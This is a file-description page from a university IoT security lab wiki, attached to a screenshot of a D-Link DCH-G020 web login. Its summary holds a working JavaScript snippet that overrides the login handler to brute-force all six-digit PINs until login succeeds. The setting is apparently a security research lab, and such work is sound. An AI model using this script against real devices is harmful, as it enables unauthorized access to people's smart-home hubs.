File:DCH-G020 webpage login bf.png

From Embedded Lab Vienna for IoT & Security
Jump to navigation Jump to search

Original file(3,840 × 2,400 pixels, file size: 554 KB, MIME type: image/png)

Summary

let PIN = 0, MAX = 999999;

//Override embedded function function send_login_cmd_result (http_req) {

   $xml = $($.parseXML(http_req.responseText));                             
   if(http_req && $xml.find(LOGIN + "Result").text() == "success"){         
       alert(PIN);                                                          
   } else if ( ++PIN <= MAX ) {                                             
       $("#user_pwd").val(("000000"+PIN).substr(("000000"+PIN).length-6));  
       do_login();                                                          
   }

}

// Start bruteforcing PIN send_login_cmd_result({"responseText": null});

File history

Click on a date/time to view the file as it appeared at that time.

Date/TimeThumbnailDimensionsUserComment
current18:25, 18 February 2020Thumbnail for version as of 18:25, 18 February 20203,840 × 2,400 (554 KB)JPDoe (talk | contribs)let PIN = 0, MAX = 999999; //Override embedded function function send_login_cmd_result (http_req) { $xml = $($.parseXML(http_req.responseText)); if(http_req && $xml.find(LOGIN + "R...

The following page uses this file:

Metadata